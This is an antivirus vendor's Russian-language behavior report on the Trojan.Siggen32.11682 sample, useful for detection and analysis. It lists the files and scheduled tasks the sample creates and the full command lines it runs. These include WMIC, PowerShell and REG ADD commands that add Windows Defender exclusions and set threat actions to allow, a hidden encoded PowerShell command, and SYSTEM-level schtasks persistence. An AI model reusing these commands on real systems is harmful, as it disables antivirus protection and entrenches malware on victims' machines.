Trojan.Siggen32.11682

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

%WINDIR%\tasks\bdfuuwxjhgramzpmkb.job
<SYSTEM32>\tasks\bdfuuwxjhgramzpmkb
<SYSTEM32>\tasks\glsdchgqr

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса с помощью следующих ключей реестра:

[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\HhaNBGcuU' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\HhaNBGcuU' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\IXzVmqJFDmDU2' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\IXzVmqJFDmDU2' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\lJjXfKfpJVtdC' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\lJjXfKfpJVtdC' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\tzdhLHbIjrNAUNTyxhR' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\tzdhLHbIjrNAUNTyxhR' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vlxHtUmyEJUn' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vlxHtUmyEJUn' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\rHwmoXVaXOEgCaVB' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\rHwmoXVaXOEgCaVB' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\nnEaZCbtCuWmFnyZt' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\nnEaZCbtCuWmFnyZt' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\MWApEFojzuXiLU' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\MWApEFojzuXiLU' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\ShsqfzqZgGGaO2' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\ShsqfzqZgGGaO2' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\aasozdWqwSKHqgP' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\aasozdWqwSKHqgP' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\aasozdWqwSKHqgP2' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\aasozdWqwSKHqgP2' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\arIazdpPSpwgyJiRw2' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\arIazdpPSpwgyJiRw2' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\vTGyjTpJfVtyWubCYtk2' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\vTGyjTpJfVtyWubCYtk2' = '00000000'
[HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\apVYxgZOEctSApDE' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\apVYxgZOEctSApDE' = '00000000'

Запускает большое число процессов

Завершает или пытается завершить

следующие системные процессы:

<SYSTEM32>\windowspowershell\v1.0\powershell.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\7zs615a.tmp\__data__\config.txt
%TEMP%\7zs615a.tmp\config.exe
%TEMP%\7zs615a.tmp\install.exe
%TEMP%\nneazcbtcuwmfnyzt\cdbnkvgfxzenadn\jkzinnh.exe
%ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_8cf7b530-613e-439b-a8c5-ccfc0e745400
%WINDIR%\temp\__psscriptpolicytest_x0j2uj4n.l5t.ps1
%WINDIR%\temp\__psscriptpolicytest_rpuwg3xo.44g.psm1
%WINDIR%\syswow64\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
%WINDIR%\temp\__psscriptpolicytest_etbwjq5u.xfc.ps1
%WINDIR%\temp\__psscriptpolicytest_4themrvy.hhr.psm1
<SYSTEM32>\grouppolicy\machine\registry.pol
<SYSTEM32>\grouppolicy\gpt.ini

Удаляет файлы, которые сам же создал

%WINDIR%\temp\__psscriptpolicytest_x0j2uj4n.l5t.ps1
%WINDIR%\temp\__psscriptpolicytest_rpuwg3xo.44g.psm1
%WINDIR%\temp\__psscriptpolicytest_etbwjq5u.xfc.ps1
%WINDIR%\temp\__psscriptpolicytest_4themrvy.hhr.psm1
<SYSTEM32>\tasks\glsdchgqr
%WINDIR%\tasks\bdfuuwxjhgramzpmkb.job
<SYSTEM32>\tasks\bdfuuwxjhgramzpmkb

Другое

Создает и запускает на исполнение

'%TEMP%\7zs615a.tmp\install.exe'
'%TEMP%\7zs615a.tmp\config.exe' /cTdidk "452799" /S
'%TEMP%\nneazcbtcuwmfnyzt\cdbnkvgfxzenadn\jkzinnh.exe' Ow /OLdidX 452799 /S

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=T...
'%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
'%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
'%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bdFUuWXJhGRaMzPmKB" /SC once /ST 19:34:00 /RU "SYSTEM" /TR "\"%TEMP%\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\jkziNNh.exe\" Ow /OLdidX 452799 /S" /V1 /F
'%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
'%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"
'%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
'%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
'%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
'%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
'%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows De...
'%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:64
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"%ProgramFiles(x86)%\HhaNBGcuU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microso...
'%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\HhaNBGcuU" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\HhaNBGcuU" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\HhaNBGcuU" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\IXzVmqJFDmDU2" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\IXzVmqJFDmDU2" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\lJjXfKfpJVtdC" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\lJjXfKfpJVtdC" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\tzdhLHbIjrNAUNTyxhR" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\tzdhLHbIjrNAUNTyxhR" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vlxHtUmyEJUn" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vlxHtUmyEJUn" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\rHwmoXVaXOEgCaVB /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\rHwmoXVaXOEgCaVB /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\nnEaZCbtCuWmFnyZt /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\nnEaZCbtCuWmFnyZt /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\MWApEFojzuXiLU /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\MWApEFojzuXiLU /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\ShsqfzqZgGGaO2 /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\ShsqfzqZgGGaO2 /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\aasozdWqwSKHqgP /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\aasozdWqwSKHqgP /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\aasozdWqwSKHqgP2 /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\aasozdWqwSKHqgP2 /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\arIazdpPSpwgyJiRw2 /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\arIazdpPSpwgyJiRw2 /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\vTGyjTpJfVtyWubCYtk2 /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\vTGyjTpJfVtyWubCYtk2 /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\apVYxgZOEctSApDE /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\apVYxgZOEctSApDE /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "glSDChgQr" /SC once /ST 04:20:50 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
'%WINDIR%\syswow64\schtasks.exe' /run /I /tn "glSDChgQr"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
'<SYSTEM32>\gpupdate.exe' /force (со скрытым окном)
'<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s fhsvc
'<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -s WPDBusEnum
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "glSDChgQr"
'%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "NzkPodfYMwfUeZgIy" /SC once /ST 10:24:04 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\apVYxgZOEctSApDE\aliRXHIrylHjCgJ\xBCJzYk.exe\" Nl /SUIhdidTT 452799 /S" /V1 /F
'%WINDIR%\syswow64\schtasks.exe' /run /I /tn "NzkPodfYMwfUeZgIy"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bdFUuWXJhGRaMzPmKB"
'%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "cmd /C if exist \"%ProgramFiles(x86)%\HhaNBGcuU\KIpfEP.dll\" rundll32 \"%ProgramFiles(x86)%\HhaNBGcuU\KIpfEP.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "aasozdWqwSKHqgP" /V1 /F

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней